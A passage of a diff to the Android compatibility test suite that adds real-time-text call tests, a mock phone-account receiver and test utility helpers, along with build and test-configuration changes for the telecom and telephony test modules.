| Connection.CAPABILITY_HOLD);
connection.createMockVideoProvider();
((Connection) connection).setVideoState(request.getVideoState());
+ if (request.isRequestingRtt()) {
+ connection.setRttTextStream(request.getRttTextStream());
+ connection.setConnectionProperties(connection.getConnectionProperties() |
+ Connection.PROPERTY_IS_RTT);
+ }
connection.setRinging();
incomingConnections.add(connection);
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
index 4ff3cb6..e13335e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
@@ -61,6 +61,10 @@
public void onCannedTextResponsesLoaded(Call call, List<String> cannedTextResponses) {}
public void onSilenceRinger() {}
public void onConnectionEvent(Call call, String event, Bundle extras) {}
+ public void onRttModeChanged(Call call, int mode) {}
+ public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {}
+ public void onRttRequest(Call call, int id) {}
+ public void onRttInitiationFailure(Call call, int reason) {}
final public MockInCallService getService() {
return mService;
@@ -153,6 +157,38 @@
getCallbacks().onConnectionEvent(call, event, extras);
}
}
+
+ @Override
+ public void onRttModeChanged(Call call, int mode) {
+ super.onRttModeChanged(call, mode);
+ if (getCallbacks() != null) {
+ getCallbacks().onRttModeChanged(call, mode);
+ }
+ }
+
+ @Override
+ public void onRttStatusChanged(Call call, boolean enabled, Call.RttCall rttCall) {
+ super.onRttStatusChanged(call, enabled, rttCall);
+ if (getCallbacks() != null) {
+ getCallbacks().onRttStatusChanged(call, enabled, rttCall);
+ }
+ }
+
+ @Override
+ public void onRttRequest(Call call, int id) {
+ super.onRttRequest(call, id);
+ if (getCallbacks() != null) {
+ getCallbacks().onRttRequest(call, id);
+ }
+ }
+
+ @Override
+ public void onRttInitiationFailure(Call call, int reason) {
+ super.onRttInitiationFailure(call, reason);
+ if (getCallbacks() != null) {
+ getCallbacks().onRttInitiationFailure(call, reason);
+ }
+ }
};
private void saveVideoCall(Call call, VideoCall videoCall) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java b/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java
new file mode 100644
index 0000000..0601d75
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/MockPhoneAccountChangedReceiver.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * Receives {@link android.telecom.TelecomManager#ACTION_PHONE_ACCOUNT_REGISTERED} and
+ * {@link android.telecom.TelecomManager#ACTION_PHONE_ACCOUNT_UNREGISTERED} intents.
+ */
+public class MockPhoneAccountChangedReceiver extends BroadcastReceiver {
+ public interface IntentListener {
+ void onPhoneAccountRegistered(PhoneAccountHandle handle);
+ void onPhoneAccountUnregistered(PhoneAccountHandle handle);
+ }
+
+ private static IntentListener sIntentListener = null;
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (sIntentListener != null) {
+ if (TelecomManager.ACTION_PHONE_ACCOUNT_REGISTERED.equals(intent.getAction())) {
+ sIntentListener.onPhoneAccountRegistered(intent.getParcelableExtra(
+ TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE));
+ } else if (TelecomManager.ACTION_PHONE_ACCOUNT_UNREGISTERED.equals(
+ intent.getAction())) {
+ sIntentListener.onPhoneAccountUnregistered(intent.getParcelableExtra(
+ TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE));
+ }
+ }
+ }
+
+ public static void setIntentListener(IntentListener listener) {
+ sIntentListener = listener;
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
index 4374516..c9b5000 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
@@ -43,6 +43,22 @@
public static final int TEST_LENGTH = 10;
public static final String TEST_ENCODING = "enUS";
+ private TestUtils.InvokeCounter mPhoneAccountRegisteredLatch;
+ private TestUtils.InvokeCounter mPhoneAccountUnRegisteredLatch;
+
+ MockPhoneAccountChangedReceiver.IntentListener mPhoneAccountIntentListener =
+ new MockPhoneAccountChangedReceiver.IntentListener() {
+ @Override
+ public void onPhoneAccountRegistered(PhoneAccountHandle handle) {
+ mPhoneAccountRegisteredLatch.invoke(handle);
+ }
+
+ @Override
+ public void onPhoneAccountUnregistered(PhoneAccountHandle handle) {
+ mPhoneAccountUnRegisteredLatch.invoke(handle);
+ }
+ };
+
private static Bundle createTestBundle() {
Bundle testBundle = new Bundle();
testBundle.putInt(PhoneAccount.EXTRA_CALL_SUBJECT_MAX_LENGTH, TEST_LENGTH);
@@ -96,6 +112,8 @@
return;
}
mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+ mPhoneAccountRegisteredLatch = new TestUtils.InvokeCounter("registerPhoneAcct");
+ mPhoneAccountUnRegisteredLatch = new TestUtils.InvokeCounter("unRegisterPhoneAcct");
}
@Override
@@ -225,4 +243,38 @@
assertTrue("Phone account should support voicemail URI scheme.",
retrievedPhoneAccount.supportsUriScheme(PhoneAccount.SCHEME_VOICEMAIL));
}
+
+ /**
+ * Verifies that the {@link TelecomManager#ACTION_PHONE_ACCOUNT_REGISTERED} intent is sent to
+ * the default dialer when a phone account is registered and,
+ * {@link TelecomManager#ACTION_PHONE_ACCOUNT_UNREGISTERED} is sent when a phone account is
+ * unregistered.
+ * @throws Exception
+ */
+ public void testRegisterUnregisterPhoneAccountIntent() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ MockPhoneAccountChangedReceiver.setIntentListener(mPhoneAccountIntentListener);
+ String previousDefaultDialer = TestUtils.getDefaultDialer(getInstrumentation());
+ try {
+ TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
+
+ mTelecomManager.registerPhoneAccount(TEST_NO_SIM_PHONE_ACCOUNT);
+
+ mPhoneAccountRegisteredLatch.waitForCount(1);
+ PhoneAccountHandle handle =
+ (PhoneAccountHandle) mPhoneAccountRegisteredLatch.getArgs(0)[0];
+ assertEquals(TEST_PHONE_ACCOUNT_HANDLE, handle);
+
+ mTelecomManager.unregisterPhoneAccount(TEST_PHONE_ACCOUNT_HANDLE);
+ mPhoneAccountUnRegisteredLatch.waitForCount(1);
+ PhoneAccountHandle handle2 =
+ (PhoneAccountHandle) mPhoneAccountUnRegisteredLatch.getArgs(0)[0];
+ assertEquals(TEST_PHONE_ACCOUNT_HANDLE, handle2);
+ } finally {
+ TestUtils.setDefaultDialer(getInstrumentation(), previousDefaultDialer);
+ }
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
new file mode 100644
index 0000000..992cbca
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telecom.cts;
+
+import android.os.Bundle;
+import android.telecom.Call;
+import android.telecom.Connection;
+import android.telecom.TelecomManager;
+
+import java.io.IOException;
+
+public class RttOperationsTest extends BaseTelecomTestWithMockServices {
+ private static final int RTT_SEND_TIMEOUT_MILLIS = 1000;
+ private static final String[] TEST_STRINGS = {
+ "A",
+ "AB",
+ "ABCDEFG",
+ "お疲れ様でした",
+ "😂😂😂💯"
+ };
+ private static final int RTT_FAILURE_REASON = 2;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ if (mShouldTestTelecom) {
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ }
+ }
+
+ public void testOutgoingRttCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeRttCall(false);
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttEnabled(call, connection);
+ }
+
+ public void testIncomingRttCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeRttCall(true);
+ final MockConnection connection = verifyConnectionForIncomingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttEnabled(call, connection);
+ }
+
+ public void testLocalRttUpgradeAccepted() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ verifyRttDisabled(call);
+
+ TestUtils.InvokeCounter startRttCounter =
+ connection.getInvokeCounter(MockConnection.ON_START_RTT);
+ call.sendRttRequest();
+ startRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+ connection.setRttTextStream((Connection.RttTextStream) startRttCounter.getArgs(0)[0]);
+ connection.setConnectionProperties(
+ connection.getConnectionProperties() | Connection.PROPERTY_IS_RTT);
+ connection.sendRttInitiationSuccess();
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttEnabled(call, connection);
+ }
+
+ public void testLocalRttUpgradeRejected() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ verifyRttDisabled(call);
+
+ TestUtils.InvokeCounter startRttCounter =
+ connection.getInvokeCounter(MockConnection.ON_START_RTT);
+ call.sendRttRequest();
+ startRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+ connection.sendRttInitiationFailure(RTT_FAILURE_REASON);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ mOnRttInitiationFailedCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ assertEquals(call, mOnRttInitiationFailedCounter.getArgs(0)[0]);
+ assertEquals(RTT_FAILURE_REASON, mOnRttInitiationFailedCounter.getArgs(0)[1]);
+ verifyRttDisabled(call);
+ }
+
+ public void testAcceptRemoteRttUpgrade() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ verifyRttDisabled(call);
+
+ TestUtils.InvokeCounter rttRequestResponseCounter =
+ connection.getInvokeCounter(MockConnection.ON_RTT_REQUEST_RESPONSE);
+ connection.sendRemoteRttRequest();
+ mOnRttRequestCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ int requestId = (Integer) mOnRttRequestCounter.getArgs(0)[1];
+ call.respondToRttRequest(requestId, true /* accept */);
+
+ rttRequestResponseCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttEnabled(call, connection);
+ }
+
+ public void testRejectRemoteRttRequest() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeAndVerifyCall();
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+ verifyRttDisabled(call);
+
+ TestUtils.InvokeCounter rttRequestResponseCounter =
+ connection.getInvokeCounter(MockConnection.ON_RTT_REQUEST_RESPONSE);
+ connection.sendRemoteRttRequest();
+ mOnRttRequestCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ int requestId = (Integer) mOnRttRequestCounter.getArgs(0)[1];
+ call.respondToRttRequest(requestId, false /* accept */);
+
+ rttRequestResponseCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ assertNull(rttRequestResponseCounter.getArgs(0)[0]);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttDisabled(call);
+ }
+
+ public void testLocalRttTermination() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeRttCall(false);
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+
+ // Skipping RTT verification since that's tested by another test
+ TestUtils.InvokeCounter stopRttCounter =
+ connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
+ call.stopRtt();
+ stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ connection.setConnectionProperties(
+ connection.getConnectionProperties() & ~Connection.PROPERTY_IS_RTT);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttDisabled(call);
+ }
+
+ public void testRemoteRttTermination() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ placeRttCall(false);
+ final MockConnection connection = verifyConnectionForOutgoingCall();
+ final MockInCallService inCallService = mInCallCallbacks.getService();
+ final Call call = inCallService.getLastCall();
+
+ // Skipping RTT verification since that's tested by another test
+ connection.sendRttSessionRemotelyTerminated();
+ TestUtils.InvokeCounter stopRttCounter =
+ connection.getInvokeCounter(MockConnection.ON_STOP_RTT);
+ call.stopRtt();
+ stopRttCounter.waitForCount(1, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ connection.setConnectionProperties(
+ connection.getConnectionProperties() & ~Connection.PROPERTY_IS_RTT);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ verifyRttDisabled(call);
+ }
+
+ private void verifyRttDisabled(Call call) {
+ TestUtils.waitOnLocalMainLooper(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ assertFalse(call.isRttActive());
+ assertNull(call.getRttCall());
+ }
+
+ private void verifyRttEnabled(Call call, MockConnection connection) {
+ TestUtils.waitOnLocalMainLooper(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ Connection.RttTextStream connectionSideRtt = connection.getRttTextStream();
+ Call.RttCall inCallSideRtt = call.getRttCall();
+ assertNotNull(connectionSideRtt);
+ assertTrue(call.isRttActive());
+ assertNotNull(inCallSideRtt);
+
+ verifyRttPipeIntegrity(inCallSideRtt, connectionSideRtt);
+ }
+
+ private void verifyRttPipeIntegrity(Call.RttCall inCallSide, Connection.RttTextStream
+ connectionSide) {
+ for (String s : TEST_STRINGS) {
+ try {
+ inCallSide.write(s);
+ waitUntilConditionIsTrueOrTimeout(new Condition() {
+ String readSoFar = "";
+ @Override
+ public Object expected() {
+ return s;
+ }
+
+ @Override
+ public Object actual() {
+ try {
+ String newRead = connectionSide.readImmediately();
+ if (newRead != null) {
+ readSoFar += newRead;
+ }
+ return readSoFar;
+ } catch (IOException e) {
+ fail("IOException while reading from connection side");
+ return null;
+ }
+ }
+ }, RTT_SEND_TIMEOUT_MILLIS, String.format("%s failed to send correctly.", s));
+
+ connectionSide.write(s);
+ waitUntilConditionIsTrueOrTimeout(new Condition() {
+ String readSoFar = "";
+ @Override
+ public Object expected() {
+ return s;
+ }
+
+ @Override
+ public Object actual() {
+ try {
+ String newRead = inCallSide.readImmediately();
+ if (newRead != null) {
+ readSoFar += newRead;
+ }
+ return readSoFar;
+ } catch (IOException e) {
+ fail("IOException while reading from incall side");
+ return null;
+ }
+ }
+ }, RTT_SEND_TIMEOUT_MILLIS, String.format("%s failed to send correctly.", s));
+ } catch (IOException e) {
+ fail(String.format(
+ "Caught IOException when verifying %s", s));
+ }
+
+ }
+ }
+ private void placeRttCall(boolean incoming) {
+ Bundle extras = new Bundle();
+ extras.putBoolean(TelecomManager.EXTRA_START_CALL_WITH_RTT, true);
+ if (incoming) {
+ addAndVerifyNewIncomingCall(createTestNumber(), extras);
+ } else {
+ Bundle outgoingCallExtras = new Bundle();
+ outgoingCallExtras.putParcelable(TelecomManager.EXTRA_OUTGOING_CALL_EXTRAS, extras);
+ placeAndVerifyCall(outgoingCallExtras);
+ }
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index db278de..f3c54b3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -25,6 +25,8 @@
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
import android.os.ParcelFileDescriptor;
import android.os.Process;
import android.os.SystemClock;
@@ -79,6 +81,7 @@
.setSubscriptionAddress(Uri.parse("tel:555-TEST"))
.setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
PhoneAccount.CAPABILITY_VIDEO_CALLING |
+ PhoneAccount.CAPABILITY_RTT |
PhoneAccount.CAPABILITY_CONNECTION_MANAGER)
.setHighlightColor(Color.RED)
.setShortDescription(ACCOUNT_LABEL)
@@ -170,6 +173,19 @@
executeShellCommand(instrumentation, COMMAND_WAIT_ON_HANDLERS);
}
+ public static void waitOnLocalMainLooper(long timeoutMs) {
+ Handler mainHandler = new Handler(Looper.getMainLooper());
+ final CountDownLatch lock = new CountDownLatch(1);
+ mainHandler.post(lock::countDown);
+ while (lock.getCount() > 0) {
+ try {
+ lock.await(timeoutMs, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ // do nothing
+ }
+ }
+ }
+
/**
* Executes the given shell command and returns the output in a string. Note that even
* if we don't care about the output, we have to read the stream completely to make the
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index d839924..8e9c8a5d 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -24,7 +24,10 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner \
+ legacy-android-test
src_dirs := src \
../telecom/src/android/telecom/cts/SelfManagedConnection.java \
@@ -46,6 +49,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom2/AndroidTest.xml b/tests/tests/telecom2/AndroidTest.xml
index a06984f..f4d8e86 100644
--- a/tests/tests/telecom2/AndroidTest.xml
+++ b/tests/tests/telecom2/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Configuration for Telecom2 Tests">
<option name="config-descriptor:metadata" key="component" value="telecom" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTelecomTestCases2.apk" />
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
index 29bccc3..86cb859 100644
--- a/tests/tests/telecom3/Android.mk
+++ b/tests/tests/telecom3/Android.mk
@@ -29,8 +29,7 @@
src_dirs := src \
../telecom/src/android/telecom/cts/SelfManagedConnection.java \
../telecom/src/android/telecom/cts/CtsSelfManagedConnectionService.java \
- ../telecom/src/android/telecom/cts/TestUtils.java \
- ../telecom/src/android/telecom/cts/MockDialerActivity.java
+ ../telecom/src/android/telecom/cts/TestUtils.java
res_dirs := ../telecom/res
@@ -46,6 +45,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom3/AndroidTest.xml b/tests/tests/telecom3/AndroidTest.xml
index 10fe2b1..354581a 100644
--- a/tests/tests/telecom3/AndroidTest.xml
+++ b/tests/tests/telecom3/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Configuration for Telecom3 Tests">
<option name="config-descriptor:metadata" key="component" value="telecom" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTelecomTestCases3.apk" />
diff --git a/tests/tests/telephony/Android.mk b/tests/tests/telephony/Android.mk
index e502384..1368573 100644
--- a/tests/tests/telephony/Android.mk
+++ b/tests/tests/telephony/Android.mk
@@ -36,7 +36,7 @@
LOCAL_PACKAGE_NAME := CtsTelephonyTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# uncomment when b/13250611 is fixed
#LOCAL_SDK_VERSION := current
diff --git a/tests/tests/telephony/AndroidTest.xml b/tests/tests/telephony/AndroidTest.xml
index 0aebd01..41cf7ce 100644
--- a/tests/tests/telephony/AndroidTest.xml
+++ b/tests/tests/telephony/AndroidTest.xml
@@ -14,6 +14,10 @@
limitations under the License.
-->
<configuration description="Config for CTS Telephony test cases">
+ <target_preparer class="android.telephony.cts.preconditions.TelephonyPreparer">
+ <option name="apk" value="CtsTelephonyPreparerApp.apk" />
+ <option name="package" value="android.telephony.cts.preconditions.app" />
+ </target_preparer>
<option name="config-descriptor:metadata" key="component" value="telecom" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.TokenRequirement">
<option name="token" value="sim-card" />
@@ -25,4 +29,14 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.telephony.cts" />
</test>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+ <option name="run-command" value="pm disable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
+ <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+ <option name="teardown-command" value="pm enable com.google.android.dialer/com.android.voicemail.impl.OmtpService" />
+ <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+ <option name="run-command" value="pm disable com.android.dialer/com.android.voicemail.impl.OmtpService" />
+ <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.StatusCheckJobService" />
+ <option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.OmtpService" />
+ </target_preparer>
</configuration>
diff --git a/tests/tests/telephony/preconditions/Android.mk b/tests/tests/telephony/preconditions/Android.mk
index 6577932..e2c3fc5 100644
--- a/tests/tests/telephony/preconditions/Android.mk
+++ b/tests/tests/telephony/preconditions/Android.mk
@@ -25,7 +25,7 @@
LOCAL_MODULE := compatibility-host-telephony-preconditions
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/telephony/preconditions/app/Android.mk b/tests/tests/telephony/preconditions/app/Android.mk
index 349daed..a5fa396 100644
--- a/tests/tests/telephony/preconditions/app/Android.mk
+++ b/tests/tests/telephony/preconditions/app/Android.mk
@@ -32,7 +32,7 @@
compatibility-device-preconditions
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsTelephonyPreparerApp
diff --git a/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java b/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
index 8f53f7d..3c2c089 100644
--- a/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
+++ b/tests/tests/telephony/preconditions/app/src/android/telephony/cts/preconditions/app/TelephonyPreparerAppTest.java
@@ -18,6 +18,7 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.test.AndroidTestCase;
+import android.util.Log;
import com.android.compatibility.common.preconditions.TelephonyHelper;
/**
@@ -36,7 +37,9 @@
return; // do not test for phone number on devices without telephony feature
}
- assertTrue("Device must have a SIM card with phone number in order to run CTS",
- TelephonyHelper.hasPhoneNumber(this.getContext()));
+ if (!TelephonyHelper.hasPhoneNumber(this.getContext())) {
+ Log.e(TAG, "No SIM card with phone number is found in the device, "
+ + "some tests might not run properly");
+ }
}
}
\ No newline at end of file
diff --git a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
index 1e18760..f93b297 100644
--- a/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/CellInfoTest.java
@@ -194,9 +194,12 @@
assertTrue("getLevel() out of range [0,4], level=" + level, level >=0 && level <= 4);
int bsic = gsm.getCellIdentity().getBsic();
- // TODO(b/32774471) - Bsic should always be valid, so Integer.MAX_VALUE shouldn't be needed
- assertTrue("getBsic() out of range [0,63]",
- (bsic >= 0 && bsic <= 63) || bsic == Integer.MAX_VALUE);
+ // TODO(b/32774471) - Bsic should always be valid
+ //assertTrue("getBsic() out of range [0,63]", bsic >=0 && bsic <=63);
+
+ int ta = gsm.getCellSignalStrength().getTimingAdvance();
+ assertTrue("getTimingAdvance() out of range [0,219] | Integer.MAX_VALUE, ta=" + ta,
+ ta == Integer.MAX_VALUE || (ta >= 0 && ta <= 219));
}
// Rssi(in dbm) should be within [MIN_RSSI, MAX_RSSI].
diff --git a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
index 4cc26f8..6cf147f 100644
--- a/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -305,31 +305,6 @@
assertFalse(PhoneNumberUtils.isWellFormedSmsAddress("android"));
}
- public void testIsUriNumber() {
- assertTrue(PhoneNumberUtils.isUriNumber("foo@google.com"));
- assertTrue(PhoneNumberUtils.isUriNumber("xyz@zzz.org"));
- assertFalse(PhoneNumberUtils.isUriNumber("+15103331245"));
- assertFalse(PhoneNumberUtils.isUriNumber("+659231235"));
- }
-
- public void testGetUsernameFromUriNumber() {
- assertEquals("john", PhoneNumberUtils.getUsernameFromUriNumber("john@myorg.com"));
- assertEquals("tim_123", PhoneNumberUtils.getUsernameFromUriNumber("tim_123@zzz.org"));
- assertEquals("5103331245", PhoneNumberUtils.getUsernameFromUriNumber("5103331245"));
- }
-
- public void testConvertAndStrip() {
- // Untouched number.
- assertEquals("123456789", PhoneNumberUtils.convertAndStrip("123456789"));
- // Dashes should be stripped, legal separators (i.e. wild character remain untouched)
- assertEquals("+15103331245*123", PhoneNumberUtils.convertAndStrip("+1-510-333-1245*123"));
- // Arabic digits should be converted
- assertEquals("5567861616", PhoneNumberUtils.convertAndStrip("٥٥٦٧٨٦١٦١٦"));
- // Arabic digits converted and spaces stripped
- assertEquals("5567861616", PhoneNumberUtils.convertAndStrip("٥ ٥٦ ٧ ٨ ٦ ١ ٦ ١ ٦"));
-
- }
-
public void testGetPhoneTtsSpan() {
// Setup: phone number without a country code. Lets keep coverage minimal to avoid
// exercising the underlying PhoneNumberUtil or constraining localization changes.
diff --git a/tests/tests/telephony2/Android.mk b/tests/tests/telephony2/Android.mk
index 3ba6018..ec72916 100644
--- a/tests/tests/telephony2/Android.mk
+++ b/tests/tests/telephony2/Android.mk
@@ -32,7 +32,7 @@
LOCAL_PACKAGE_NAME := CtsTelephony2TestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/telephony2/AndroidTest.xml b/tests/tests/telephony2/AndroidTest.xml
index 607bbac..78d8d6f 100644
--- a/tests/tests/telephony2/AndroidTest.xml
+++ b/tests/tests/telephony2/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS Telephony test cases">
